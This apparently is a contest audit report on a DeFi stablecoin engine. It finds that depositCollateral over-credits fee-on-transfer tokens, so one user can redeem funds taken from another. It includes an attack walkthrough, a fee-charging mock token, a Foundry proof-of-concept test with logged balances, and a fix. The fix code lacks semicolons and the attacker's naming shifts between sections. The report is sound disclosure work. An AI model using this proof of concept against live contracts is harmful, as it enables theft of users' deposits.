15,000 USDC
View results
Submission Details
Severity: medium
Valid

Malicious attacker can steal users funds if fee on transfer token is used as collateral

Summary

Some ERC20 tokens, such as USDT, allow for charging a fee any time transfer() or transferFrom() is called. If a contract does not allow for amounts to change after transfers, subsequent transfer operations based on the original amount will revert() due to the contract having an insufficient balance. However, a malicious user could also take advantage of this to steal funds from the pool.

Vulnerability Details

Line 148 in DSCEngine.sol.

function depositCollateral(address tokenCollateralAddress, uint256 amountCollateral)
//@audit- fee on transfer tokens may not work here
public
moreThanZero(amountCollateral)
isAllowedToken(tokenCollateralAddress)
nonReentrant
{
//This line here adds the amount a user passed as `amountCollateral` to a users totaldeposits
s_collateralDeposited[msg.sender][tokenCollateralAddress] += amountCollateral;
emit CollateralDeposited(msg.sender, tokenCollateralAddress, amountCollateral);
bool success = IERC20(tokenCollateralAddress).transferFrom(msg.sender, address(this), amountCollateral);
if (!success) {
revert DSCEngine__TransferFailed();
}
}
function _redeemCollateral(address from, address to, address tokenCollateralAddress, uint256 amountCollateral)
private
{
s_collateralDeposited[from][tokenCollateralAddress] -= amountCollateral;
emit CollateralRedeemed(from, to, tokenCollateralAddress, amountCollateral);
bool success = IERC20(tokenCollateralAddress).transfer(to, amountCollateral);
if (!success) {
revert DSCEngine__TransferFailed();
}
}
  1. Alice sends 100 of FEE token to the contract when calling depositCollateral().

  2. FEE token contract takes 10% of the tokens (10 FEE).

  3. 90 FEE tokens actually get deposit in contract.

  4. s_collateralDeposited[msg.sender][tokenCollateralAddress] += amountCollateral; will equal 100.

  5. Attacker then sends 100 FEE tokens to the contract

  6. The contract now has 180 FEE tokens but each user has an accounting of 100 FEE.

  7. The attacker then tries to redeem his collateral for the full amount 100 FEE tokens.

  8. The contract will transfer 100 FEE tokens to Bob taking 10 of Alices tokens with him.

  9. Bob can then deposit back into the pool and repeat this until he drains all of Alice's funds.

  10. When Alice attempts to withdraw the transaction will revert due to insufficent funds.

POC
You can see below the ERC20Mock.sol file was edited to include a fee on every transfer.

function transferFrom(
address from,
address to,
uint256 value
) public override returns (bool) {
uint tax = value / 10;
_transfer(from, address(this), tax);
_transfer(from, to, value - tax);
return true;
}

Below is the testCanDepositedCollateralAndGetAccountInfo() which displays a test simulating the attack.

function testCanDepositedCollateralAndGetAccountInfo() public depositedCollateral {
(uint256 totalDscMinted, uint256 collateralValueInUsd) = dsce.getAccountInformation(user);
uint256 expectedDepositedAmount = dsce.getTokenAmountFromUsd(weth, collateralValueInUsd);
//log balances before
console.log("balance of victim before attack",ERC20Mock(weth).balanceOf(user2));
console.log("amountDeposited",amountCollateral);
console.log("balance of contract before attack",ERC20Mock(weth).balanceOf(address(dsce)));
vm.startPrank(user2);
ERC20Mock(weth).approve(address(dsce), amountCollateral);
console.log("amountDeposited by attacker",amountCollateral );
dsce.depositCollateral(weth, amountCollateral);
vm.stopPrank();
//
console.log("balance of contract after second deposit",ERC20Mock(weth).balanceOf(address(dsce)));
vm.startPrank(user);
//log balance of attacker
console.log("balance of attacker before attack",ERC20Mock(weth).balanceOf(user));
dsce.redeemCollateral(weth, amountCollateral);
//log the balances
console.log("balance of attacker after attack",ERC20Mock(weth).balanceOf(user));
console.log("balance of contract after attack",ERC20Mock(weth).balanceOf(address(dsce)));
vm.stopPrank();
assertEq(totalDscMinted, 0);
assertEq(expectedDepositedAmount, amountCollateral);
}

The results are as so.

Logs:
balance of victim before attack 10000000000000000000
amountDeposited 10000000000000000000
balance of contract before attack 9000000000000000000
amountDeposited by attacker 10000000000000000000
balance of contract after second deposit 18000000000000000000
balance of attacker before attack 10000000000000000000
balance of attacker after attack 10000000000000000000
balance of contract after attack 8000000000000000000

In this case, we would expect the attacker to have 8100000000000000000 due to the fees paid on two transfers however they still have their original 10000000000000000000 which was the amountDeposited. This was taken from the other user in the pool due to bad accounting.

Impact

An attacker can drain all fee on transfer tokens in the protocol.

Tools Used

Manual Review

Recommendations

Measure the contract balance before and after the call to transfer()/transferFrom() and use the difference between the two as the amount, rather than the amount stated

function depositCollateral(address tokenCollateralAddress, uint256 amountCollateral)
//@audit- fee on transfer tokens may not work here
public
moreThanZero(amountCollateral)
isAllowedToken(tokenCollateralAddress)
nonReentrant
{
uint256 reserveBefore = IERC20(tokenCollateralAddress).balanceOf(address(this))
emit CollateralDeposited(msg.sender, tokenCollateralAddress, amountCollateral);
bool success = IERC20(tokenCollateralAddress).transferFrom(msg.sender, address(this), amountCollateral);
if (!success) {
revert DSCEngine__TransferFailed();
}
uint256 reserveAfter = IERC20(tokenCollateralAddress).balanceOf(address(this))
amountCollateral = reserveAfter - reserveBefore;
s_collateralDeposited[msg.sender][tokenCollateralAddress] += amountCollateral;
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.